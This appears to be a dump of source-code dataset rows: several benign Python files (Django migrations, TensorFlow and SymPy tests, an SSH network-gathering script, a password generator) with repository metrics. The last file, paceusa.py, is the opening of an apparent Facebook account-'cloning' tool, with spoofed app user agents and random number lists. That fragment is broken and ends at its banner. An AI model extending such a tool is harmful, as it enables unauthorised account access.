| 22.34375 | 52 | 0.639161 | 69 | 715 | 6.507246 | 0.507246 | 0.066815 | 0.093541 | 0.075724 | 0.262806 | 0.111359 | 0 | 0 | 0 | 0 | 0 | 0 | 0.255944 | 715 | 31 | 53 | 23.064516 | 0.843985 | 0.100699 | 0 | 0.105263 | 0 | 0 | 0.141066 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0.052632 | 0.052632 | 0 | 0.526316 | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
67110e084c8a7bb4c531040978b9cd97d63e8bd4 | 786 | py | Python | api/user/migrations/0013_add_permission_groups.py | uktrade/market-access-api | 850a59880f8f62263784bcd9c6b3362e447dbc7a | [
"MIT"
] | null | null | null | api/user/migrations/0013_add_permission_groups.py | uktrade/market-access-api | 850a59880f8f62263784bcd9c6b3362e447dbc7a | [
"MIT"
] | 51 | 2018-05-31T12:16:31.000Z | 2022-03-08T09:36:48.000Z | api/user/migrations/0013_add_permission_groups.py | uktrade/market-access-api | 850a59880f8f62263784bcd9c6b3362e447dbc7a | [
"MIT"
] | 2 | 2019-12-24T09:47:42.000Z | 2021-02-09T09:36:51.000Z | # Generated by Django 2.2.13 on 2020-06-19 09:41
from django.db import migrations
def add_permission_groups(apps, schema_editor):
Group = apps.get_model("auth", "Group")
Group.objects.create(name="Sifter")
Group.objects.create(name="Editor")
Group.objects.create(name="Publisher")
Group.objects.create(name="Administrator")
def delete_permission_groups(apps, schema_editor):
Group = apps.get_model("auth", "Group")
Group.objects.delete(name__in=("Sifter", "Editor", "Publisher", "Administrator"))
class Migration(migrations.Migration):
dependencies = [
("user", "0012_last_notified_fields"),
]
operations = [
migrations.RunPython(
add_permission_groups, reverse_code=delete_permission_groups
),
]
| 26.2 | 85 | 0.692112 | 93 | 786 | 5.655914 | 0.494624 | 0.114068 | 0.136882 | 0.1673 | 0.26616 | 0.26616 | 0.26616 | 0.26616 | 0.26616 | 0.26616 | 0 | 0.030912 | 0.176845 | 786 | 29 | 86 | 27.103448 | 0.782071 | 0.058524 | 0 | 0.105263 | 1 | 0 | 0.155827 | 0.033875 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0 | 0.052632 | 0 | 0.315789 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
671a1cc7b1225061a00731596c536c4403e0bdff | 1,846 | py | Python | tensorflow/contrib/py2tf/converters/lists_test.py | Pravo21/tensorflow | 10be1f2377bf7aad1a4cfa306277c53e44493a57 | [
"Apache-2.0"
] | 13 | 2018-07-23T18:53:35.000Z | 2021-11-18T19:56:45.000Z | tensorflow/contrib/py2tf/converters/lists_test.py | sysufuchao/tensorflow | 10be1f2377bf7aad1a4cfa306277c53e44493a57 | [
"Apache-2.0"
] | null | null | null | tensorflow/contrib/py2tf/converters/lists_test.py | sysufuchao/tensorflow | 10be1f2377bf7aad1a4cfa306277c53e44493a57 | [
"Apache-2.0"
] | 13 | 2018-09-07T13:28:38.000Z | 2020-07-17T15:06:24.000Z | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for lists module."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from tensorflow.contrib.py2tf import utils
from tensorflow.contrib.py2tf.converters import converter_test_base
from tensorflow.contrib.py2tf.converters import lists
from tensorflow.python.framework import dtypes
from tensorflow.python.ops import tensor_array_ops
from tensorflow.python.platform import test
class ListTest(converter_test_base.TestCase):
def test_empty_annotated_list(self):
def test_fn():
l = []
utils.set_element_type(l, dtypes.int32)
l.append(1)
return l
node = self.parse_and_analyze(test_fn, {'dtypes': dtypes, 'utils': utils})
node = lists.transform(node, self.ctx)
with self.compiled(node, tensor_array_ops.TensorArray,
dtypes.int32) as result:
# TODO(mdan): Attach these additional modules automatically.
result.utils = utils
result.dtypes = dtypes
with self.test_session() as sess:
self.assertEqual(test_fn(), sess.run(result.test_fn().stack()))
if __name__ == '__main__':
test.main()
| 34.830189 | 80 | 0.711268 | 245 | 1,846 | 5.187755 | 0.530612 | 0.047207 | 0.037766 | 0.061369 | 0.06609 | 0.06609 | 0 | 0 | 0 | 0 | 0 | 0.01041 | 0.167389 | 1,846 | 52 | 81 | 35.5 | 0.816526 | 0.403034 | 0 | 0 | 0 | 0 | 0.01756 | 0 | 0 | 0 | 0 | 0.019231 | 0.038462 | 1 | 0.076923 | false | 0 | 0.346154 | 0 | 0.5 | 0.038462 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
67204b92ad510e66c502614cbc6803b8ea226d98 | 1,689 | py | Python | sympy/concrete/tests/test_products.py | Timeroot/sympy | f95bf4bbc548d326f4643d22faec32aca7880187 | [
"BSD-3-Clause"
] | 1 | 2020-12-27T18:43:22.000Z | 2020-12-27T18:43:22.000Z | sympy/concrete/tests/test_products.py | Timeroot/sympy | f95bf4bbc548d326f4643d22faec32aca7880187 | [
"BSD-3-Clause"
] | null | null | null | sympy/concrete/tests/test_products.py | Timeroot/sympy | f95bf4bbc548d326f4643d22faec32aca7880187 | [
"BSD-3-Clause"
] | 1 | 2022-03-21T09:07:27.000Z | 2022-03-21T09:07:27.000Z | from sympy import (symbols, product, factorial, rf, sqrt, cos,
Function, Product, Rational, Sum, oo)
a, k, n = symbols('a,k,n', integer=True)
f = Function('f')
def test_simple_products():
assert product(2, (k, a, n)) == 2**(n-a+1)
assert product(k, (k, 1, n)) == factorial(n)
assert product(k**3, (k, 1, n)) == factorial(n)**3
assert product(k+1, (k, 0, n-1)) == factorial(n)
assert product(k+1, (k, a, n-1)) == rf(1+a, n-a)
assert product(cos(k), (k, 0, 5)) == cos(1)*cos(2)*cos(3)*cos(4)*cos(5)
assert product(cos(k), (k, 3, 5)) == cos(3)*cos(4)*cos(5)
assert product(cos(k), (k, 1, Rational(5, 2))) != cos(1)*cos(2)
assert isinstance(product(k**k, (k, 1, n)), Product)
def test_rational_products():
assert product(1+1/k, (k, 1, n)) == rf(2, n)/factorial(n)
def test_special_products():
# Wallis product
assert product((4*k)**2 / (4*k**2-1), (k, 1, n)) == \
4**n*factorial(n)**2/rf(Rational(1, 2), n)/rf(Rational(3, 2), n)
# Euler's product formula for sin
assert product(1 + a/k**2, (k, 1, n)) == \
rf(1 - sqrt(-a), n)*rf(1 + sqrt(-a), n)/factorial(n)**2
def test__eval_product():
from sympy.abc import i, n
# 1710
a = Function('a')
assert product(2*a(i), (i, 1, n)) == 2**n * Product(a(i), (i, 1, n))
# 1711
assert product(2**i, (i, 1, n)) == 2**(n/2 + n**2/2)
def test_product_pow():
# Issue 1718
assert product(2**f(k), (k, 1, n)) == 2**Sum(f(k), (k, 1, n))
assert product(2**(2*f(k)), (k, 1, n)) == 2**Sum(2*f(k), (k, 1, n))
def test_infinite_product():
# Issue 2638
assert isinstance(Product(2**(1/factorial(n)), (n, 0, oo)), Product)
| 34.469388 | 75 | 0.544701 | 310 | 1,689 | 2.925806 | 0.154839 | 0.214994 | 0.033076 | 0.030871 | 0.251378 | 0.128997 | 0.088203 | 0.088203 | 0.066152 | 0.066152 | 0 | 0.069069 | 0.211368 | 1,689 | 48 | 76 | 35.1875 | 0.611862 | 0.046181 | 0 | 0 | 0 | 0 | 0.004364 | 0 | 0 | 0 | 0 | 0 | 0.548387 | 1 | 0.193548 | false | 0 | 0.064516 | 0 | 0.258065 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6727cc5d930eec856929eff9c9937130cce80011 | 2,096 | py | Python | loris/requests/meta_request.py | jpstroop/loris-redux | b5db56d5a250fdb24486afe01bad55b81761701a | [
"BSD-2-Clause"
] | 7 | 2016-08-09T17:39:05.000Z | 2016-09-26T19:37:30.000Z | loris/requests/meta_request.py | jpstroop/loris-redux | b5db56d5a250fdb24486afe01bad55b81761701a | [
"BSD-2-Clause"
] | 183 | 2016-06-02T22:07:05.000Z | 2022-03-11T23:23:01.000Z | loris/requests/meta_request.py | jpstroop/loris-redux | b5db56d5a250fdb24486afe01bad55b81761701a | [
"BSD-2-Clause"
] | 1 | 2016-08-09T17:39:11.000Z | 2016-08-09T17:39:11.000Z | #
# This helps us not have to pass so many things (caches, resolvers,
# transcoders...) around by letting us set class properties on the IIIFRequest
# at startup. Here's a basic example of how this pattern works:
#
# >>> class MyMeta(type): # Note we subclass type, not object
# ... _something = None
# ... def _get_something(self):
# ... return self._something
# ... def _set_something(self, value):
# ... self._something = value
# ... something = property(_get_something, _set_something)
# ...
# >>> class MyFoo(metaclass=MyMeta):
# ... pass
# >>> print(MyFoo.something)
# None
# >>> MyFoo.something = 'bar'
# >>> MyFoo.something
# 'bar'
#
class MetaRequest(type):
_compliance = None
_info_cache = None
_extractors = None
_app_configs = None
_transcoders = None
_resolvers = None
def _get_compliance(self):
return self._compliance
def _set_compliance(self, compliance):
self._compliance = compliance
compliance = property(_get_compliance, _set_compliance)
def _get_info_cache(self):
return self._info_cache
def _set_info_cache(self, info_cache):
self._info_cache = info_cache
info_cache = property(_get_info_cache, _set_info_cache)
def _get_extractors(self):
return self._extractors
def _set_extractors(self, extractors):
self._extractors = extractors
extractors = property(_get_extractors, _set_extractors)
def _get_app_configs(self):
return self._app_configs
def _set_app_configs(self, app_configs):
self._app_configs = app_configs
app_configs = property(_get_app_configs, _set_app_configs)
def _get_transcoders(self):
return self._transcoders
def _set_transcoders(self, transcoders):
self._transcoders = transcoders
transcoders = property(_get_transcoders, _set_transcoders)
def _get_resolvers(self):
return self._resolvers
def _set_resolvers(self, resolvers):
self._resolvers = resolvers
resolvers = property(_get_resolvers, _set_resolvers)
| 26.2 | 78 | 0.687977 | 243 | 2,096 | 5.534979 | 0.238683 | 0.066915 | 0.072862 | 0.025279 | 0.054275 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.218034 | 2,096 | 79 | 79 | 26.531646 | 0.820622 | 0.302481 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.324324 | false | 0 | 0 | 0.162162 | 0.837838 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
672a0e8fa99ec72b8216b9a25d5e85c694914355 | 2,077 | py | Python | ensconce/util/pwtools.py | netwrkr/ensconce | eda938c67eb0af8fb7d3ccf668e07d2f76485aa5 | [
"BSD-3-Clause"
] | 1 | 2021-05-05T13:52:44.000Z | 2021-05-05T13:52:44.000Z | ensconce/util/pwtools.py | netwrkr/ensconce | eda938c67eb0af8fb7d3ccf668e07d2f76485aa5 | [
"BSD-3-Clause"
] | null | null | null | ensconce/util/pwtools.py | netwrkr/ensconce | eda938c67eb0af8fb7d3ccf668e07d2f76485aa5 | [
"BSD-3-Clause"
] | null | null | null | """
Various utility functions.
"""
from __future__ import absolute_import
import re
import string
from Crypto.Random import random
HASH_REGEXP = re.compile(r'^{([A-Z0-9]+)}(.*)$')
def generate_password(length=12, ascii_lower=True, ascii_upper=True, punctuation=True,
digits=True, strip_ambiguous=False, strip_dangerous=True):
"""
This function will return a password consisting of a mixture of lower
and upper case letters, numbers, and non-alphanumberic characters
in a ratio defined by the parameters.
:param length: Length of generated password.
:type length: int
:param ascii_lower: Whether to include ASCII lowercase chars.
:type ascii_lower: bool
:param ascii_upper: Whether to include ASCII uppercase chars.
:type ascii_upper: bool
:param punctuation: Whether to include punctuation.
:type punctuation: bool
:param strip_ambiguous: Whether to remove easily-confused (LlOo0iI1) chars
from the password.
:type strip_ambiguous: bool
:param strip_dangerous: Whethr to remove some of the more 'dangerous' punctuation
(e.g. quotes) from the generated password.
:type strip_dangerous: bool
:returns: The generated password.
:rtype: str
"""
pool = []
if ascii_lower:
pool.extend(string.ascii_lowercase)
if ascii_upper:
pool.extend(string.ascii_uppercase)
if punctuation:
pool.extend(string.punctuation)
if digits:
pool.extend(string.digits)
if strip_ambiguous:
pool = set(pool) - set("LlOo0iI1")
pool = list(pool) # Turn it back into a list since random.choice() needs indexing.
if strip_dangerous:
pool = set(pool) - set(r'"\'`')
pool = list(pool)
if not pool:
raise ValueError("No character classes enabled for password generation.")
# Generate the total number of characters for the password
return ''.join([random.choice(pool) for _i in range(length)]) | 33.5 | 91 | 0.660568 | 257 | 2,077 | 5.237354 | 0.404669 | 0.029718 | 0.047548 | 0.031204 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005175 | 0.255657 | 2,077 | 62 | 92 | 33.5 | 0.865459 | 0.485797 | 0 | 0.08 | 1 | 0 | 0.086044 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04 | false | 0.08 | 0.16 | 0 | 0.24 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
672a36d6f14b51d2a265040cb231a3ca10fb036a | 8,345 | py | Python | template.py | Dino-s26/network_gathering_tool_v2 | 14a73c3349b1870bba1950f170b171ee295d8ee0 | [
"MIT"
] | null | null | null | template.py | Dino-s26/network_gathering_tool_v2 | 14a73c3349b1870bba1950f170b171ee295d8ee0 | [
"MIT"
] | null | null | null | template.py | Dino-s26/network_gathering_tool_v2 | 14a73c3349b1870bba1950f170b171ee295d8ee0 | [
"MIT"
] | null | null | null | import os
import paramiko
import time
import datetime
import socket
from openpyxl import load_workbook
from pathlib import Path
''' Hard code source file *Recommended method '''
filename = "x://path_to_file.xlsx" ''' *change this to your excel file '''
''' Should you choose to do input filename manually '''
#filename = input("Full path to excel file : ")
def get_date():
#Define date & time
'''
ddt for get date time with format, example of the format : 18-11-20--20-21-21
c_month for get month and year format, example of the format : November-2020
'''
ddt = str(datetime.datetime.now().strftime("%d-%m-%y--%H-%M-%M"))
c_month = str(datetime.datetime.now().strftime('%B-%Y'))
return ddt, c_month
def create_log():
'''
Create log for script for debug purpose
'''
path = "C:/log/"
c_log = Path(path).mkdir(parents=True, exist_ok=True)
log_name = "script_log-[Device]_Capture-"+get_date()[0]+".log" ''' change [Device] to appropriate device use '''
return path, c_log, log_name
def output_log():
'''
Create output log folder for result of the script
'''
path_output = "C:/output_log/"
o_output = Path(path_output).mkdir(parents=True, exist_ok=True)
return path_output, o_output
def g_read_credential():
wb = load_workbook(filename, read_only=True)
creds = wb['credentials']
for value in creds.iter_rows(min_row=2, min_col=1, max_col=2, values_only=True):
'''
for debug purpose uncomment below command
'''
#print("Username : ",value[0],"\nPassword : ", value[1])
'''Return Value of the credential '''
return value[0], value[1]
def ssh_method():
wb = load_workbook(filename, read_only=True)
ip = wb['list_ip']
max_rw = ip.max_row
max_cl = ip.max_column
''' for debug number of ROW and COLUMN in excel '''
#print("ROW: ",max_rw, "COLUMN: ",max_cl)
for value_ip in range(2, max_rw+1):
'''
for debug purpose, change the value of the column
'''
lip = ip.cell(row=value_ip, column=2).value
lhost = ip.cell(row=value_ip, column=1).value
''' for debug list of ip to SSH in excel sheet of list_ip '''
#p_ip = "ssh "+lip+"\n"
#print(p_ip)
''' Old iteration method, just for debug purpose incase the newer iteration not working '''
#for host in ip :
'''
SSH activity new method to pass exception
so that the fault can be skipped and logged to a .log file defined on create_log() function
'''
try:
pre_conn = paramiko.SSHClient()
pre_conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
pre_conn.connect(lip, port=22, username=g_read_credential()[0], password=g_read_credential()[1], allow_agent=False, timeout=10)
print("Establishing SSH Connectiont to : ", lip)
conn = pre_conn.invoke_shell()
'''
Change the format below for the log_name file
'''
log_name = lhost + '--' + lip +"--"+ get_date()[0] + '.txt'
done = "SSH Done for Hostname : "+lhost+", with IP : "+lip
print(done)
c_logg = open(os.path.join(create_log()[0],create_log()[2]), 'a')
c_logg.write("--[Success Log]--\n")
c_logg.write("["+get_date()[0]+"] - ")
c_logg.write(done+"\n")
c_logg.close()
wb = load_workbook(filename, read_only=True)
cmd = wb['commands']
max_rw = cmd.max_row
max_cl = cmd.max_column
for command in cmd.iter_rows(min_row=2, max_row=max_rw, min_col=1, max_col=max_cl, values_only=True):
''' debug for command defined on excel file for commands sheet '''
#print("command are : ",''.join(command),"\n")
cmds = ''.join(command)+"\n"
''' debug purpose for command sheet '''
#print(cmds)
conn.send(cmds)
time.sleep(5)
recv_buff = conn.recv(65000)
''' debug if the command are executed '''
#print(''.join(command), "Done !")
output_file = open(os.path.join(output_log()[0],log_name), 'ab+')
output_file.write(recv_buff)
output_file.close
conn.close()
print ("All commands are capture and executed for :", lip,"\n")
'''
except timeout socket, skipped it and logged it to the log file defined
'''
except socket.timeout as timout:
exception = "SSH skip for the Host : "+lip+", Host unreachable / not available.\n"
print(exception)
c_logg = open(os.path.join(create_log()[0],create_log()[2]), 'a')
c_logg.write("--[Skip Host Log]--\n")
c_logg.write("["+get_date()[0]+"] - ")
c_logg.write(exception+"\n")
c_logg.close()
pass
'''
except invalid ip format, skipped it and logged it to the log file defined
'''
except socket.gaierror as invalid_ip:
exception = "Invalid IP Format for : "+lip+", Check your IP address again.\n"
print(exception)
c_logg = open(os.path.join(create_log()[0],create_log()[2]), 'a')
c_logg.write("--[Invalid IP Format Log]--\n")
c_logg.write("["+get_date()[0]+"] - ")
c_logg.write(exception+"\n")
c_logg.close()
pass
'''
except invalid ip format by unicode, skipped it and logged it to the log file defined
'''
except UnicodeError as invalid_ip_format:
exception = "Invalid IP Format for : "+lip+", Check your IP address again.\n"
print(exception)
c_logg = open(os.path.join(create_log()[0],create_log()[2]), 'a')
c_logg.write("--[Invalid IP Format Log]--\n")
c_logg.write("["+get_date()[0]+"] - ")
c_logg.write(exception+"\n")
c_logg.close()
pass
'''
except authentication problem, skipped it and logged it to the log file defined
'''
except paramiko.ssh_exception.AuthenticationException as invalid_auth:
exception = "Invalid Authentication for : "+lipt+", Check Username and/or Password !\n"
print(exception)
c_logg = open(os.path.join(create_log()[0],create_log()[2]), 'a')
c_logg.write("--[Invalid Authentication Log]--\n")
c_logg.write("["+get_date()[0]+"] - ")
c_logg.write(exception+"\n")
c_logg.close()
pass
'''
The exception below is used to skip any TypeError traceback,
\n this should not be used in production, just for troubleshooting purpose.
\n so leave it on comment
'''
#except TypeError as t_error:
# exception = "Type Error Exception detected ! \nkindly run the script manualy to check the traceback, if this a mistake you can ignore it.\n"
# print (exception)
# c_logg = open(os.path.join(create_log()[0],create_log()[2]), 'a')
# c_logg.write("--[Type Error Log]--\n")
# c_logg.write("["+get_date()[0]+"] - ")
# c_logg.write(exception+" "+lip+"\n")
# c_logg.close()
# pass
'''
The exception below is used when excel file detect any empty value that previously
have value, should you delete value in list_ip sheet, make sure use clear all for the
selected column that you deleted
'''
except paramiko.ssh_exception.NoValidConnectionsError as invalid_connection:
exception = "Invalid connection detected !, ignoring invalid connection.\n"
print (exception)
c_logg = open(os.path.join(create_log()[0],create_log()[2]), 'a')
c_logg.write("--[Invalid Connection Log]--\n")
c_logg.write("["+get_date()[0]+"] - ")
c_logg.write(exception+"\n")
c_logg.close()
pass
'''
Just to show it on terminal / cmd, if you don't need it you just need to remove it from print() function.
'''
print(ssh_method())
| 40.509709 | 153 | 0.572918 | 1,102 | 8,345 | 4.197822 | 0.224138 | 0.03783 | 0.045396 | 0.024211 | 0.347601 | 0.312149 | 0.290964 | 0.268915 | 0.268915 | 0.268915 | 0 | 0.011054 | 0.295386 | 8,345 | 205 | 154 | 40.707317 | 0.77568 | 0.084961 | 0 | 0.37037 | 0 | 0 | 0.152277 | 0.008925 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.064815 | 0.064815 | null | null | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
672c1ea56d450cca4117d1e99d7bb43b4d0be80f | 767 | py | Python | mtaa/migrations/0003_auto_20190914_1607.py | macymuhia/My_mtaa | ade06c1d30d8f293963ed09924419e3b3a881dbc | [
"MIT"
] | null | null | null | mtaa/migrations/0003_auto_20190914_1607.py | macymuhia/My_mtaa | ade06c1d30d8f293963ed09924419e3b3a881dbc | [
"MIT"
] | 8 | 2020-06-05T23:02:57.000Z | 2022-02-10T12:51:58.000Z | mtaa/migrations/0003_auto_20190914_1607.py | macymuhia/My_mtaa | ade06c1d30d8f293963ed09924419e3b3a881dbc | [
"MIT"
] | null | null | null | # Generated by Django 2.2.4 on 2019-09-14 13:07
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('mtaa', '0002_auto_20190914_1606'),
]
operations = [
migrations.AddField(
model_name='business',
name='phone',
field=models.DecimalField(decimal_places=0, default=0, max_digits=10),
),
migrations.AddField(
model_name='neighbourhood',
name='occupants_count',
field=models.IntegerField(default=0),
),
migrations.AddField(
model_name='userprofile',
name='phone',
field=models.DecimalField(decimal_places=0, default=0, max_digits=10),
),
]
| 26.448276 | 82 | 0.586701 | 78 | 767 | 5.628205 | 0.564103 | 0.123007 | 0.157175 | 0.18451 | 0.296128 | 0.296128 | 0.296128 | 0.296128 | 0.296128 | 0.296128 | 0 | 0.074349 | 0.298566 | 767 | 28 | 83 | 27.392857 | 0.741636 | 0.05867 | 0 | 0.454545 | 1 | 0 | 0.116667 | 0.031944 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
673d0f87dc7a1324dc68faacadc9e6abbfb1079a | 407 | py | Python | chat_downloader/metadata.py | Takayamashi/chat-downloader | 4283443e6bd328b9f68ba89eef73a7d3f65c497b | [
"MIT"
] | null | null | null | chat_downloader/metadata.py | Takayamashi/chat-downloader | 4283443e6bd328b9f68ba89eef73a7d3f65c497b | [
"MIT"
] | null | null | null | chat_downloader/metadata.py | Takayamashi/chat-downloader | 4283443e6bd328b9f68ba89eef73a7d3f65c497b | [
"MIT"
] | null | null | null | """Set metadata for chat-downloader"""
__title__ = 'chat-downloader'
__program__ = 'chat_downloader'
__summary__ = 'A simple tool used to retrieve chat messages from livestreams, videos, clips and past broadcasts. No authentication needed!'
__author__ = 'xenova'
__email__ = 'admin@xenova.com'
__copyright__ = '2020, 2021 xenova'
__url__ = 'https://github.com/xenova/chat-downloader'
__version__ = '0.1.5'
| 37 | 139 | 0.764128 | 51 | 407 | 5.45098 | 0.784314 | 0.201439 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030641 | 0.117936 | 407 | 10 | 140 | 40.7 | 0.743733 | 0.078624 | 0 | 0 | 0 | 0.125 | 0.644986 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6743a9954393f65697950b3b7472ce322890b1bd | 446 | py | Python | meetup/tracker/signals.py | brnomendes/meetup-tracker | c85416894e6cc710be61d9cf1561bc9ae6118dd0 | [
"MIT"
] | null | null | null | meetup/tracker/signals.py | brnomendes/meetup-tracker | c85416894e6cc710be61d9cf1561bc9ae6118dd0 | [
"MIT"
] | null | null | null | meetup/tracker/signals.py | brnomendes/meetup-tracker | c85416894e6cc710be61d9cf1561bc9ae6118dd0 | [
"MIT"
] | null | null | null | from django.db.models.signals import post_save
from django.dispatch import receiver
from tracker.integration.client_api import UpdateMeetupGroup
from tracker.models import GroupUrlname
@receiver(post_save, sender=GroupUrlname)
def save_group_urlname(sender, instance, **kwargs):
"""
When a new urlname is added, in a thread, we synchronize the
group data and events with meetup.com.
"""
UpdateMeetupGroup(instance).start()
| 29.733333 | 64 | 0.775785 | 59 | 446 | 5.779661 | 0.661017 | 0.058651 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.147982 | 446 | 14 | 65 | 31.857143 | 0.897368 | 0.221973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.571429 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
674549ed36124d501935fdacaafe40eb06bf13b2 | 39,131 | py | Python | paceusa.py | ahmadchenwangxuesi/Toolsfbnews | f62c4423377d08bbb8f2b6c35a3b9b79ca51f00e | [
"MIT"
] | null | null | null | paceusa.py | ahmadchenwangxuesi/Toolsfbnews | f62c4423377d08bbb8f2b6c35a3b9b79ca51f00e | [
"MIT"
] | null | null | null | paceusa.py | ahmadchenwangxuesi/Toolsfbnews | f62c4423377d08bbb8f2b6c35a3b9b79ca51f00e | [
"MIT"
] | null | null | null | #coding=utf-8
########################################
# Pace Usa Gans
# Cloning update 2020
########################################
import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,getpass
os.system('rm -rf .txt')
for n in range(100000):
nmbr = random.randint(1111111, 9999999)
sys.stdout = open('.txt', 'a')
print(nmbr)
sys.stdout.flush()
try:
import requests
except ImportError:
os.system('pip2 install requests')
try:
import mechanize
except ImportError:
os.system('pip2 install mechanize')
time.sleep(1)
os.system('python2 paceusa.py')
import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,requests,mechanize
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
br.addheaders = [('user-agent','Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z00AD;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]')]
def keluar():
print 'Selamat Tinggal Asw '
os.sys.exit()
def acak(b):
w = 'ahtdzjc'
d = ''
for i in x:
d += '!'+w[random.randint(0,len(w)-1)]+i
return cetak(d)
def cetak(b):
w = 'ahtdzjc'
for i in w:
j = w.index(i)
x= x.replace('!%s'%i,'\033[%s;1m'%str(31+j))
x += '\033[0m'
x = x.replace('!0','\033[0m')
sys.stdout.write(x+'\n')
def jalan(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(0.001)
#### colours ####
B='\033[1;94m'
R='\033[1;91m'
G='\033[1;92m'
W='\033[1;97m'
S='\033[1;96m'
P='\033[1;95m'
Y='\033[1;93m'
#Dev:Anonymous Pace Usa
#### LOGO ####
print """
\033[1;96m
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░████░░████░░░████░░░░░░░
░░░░░░░░████░░████░░░░░░░░░░░░░░
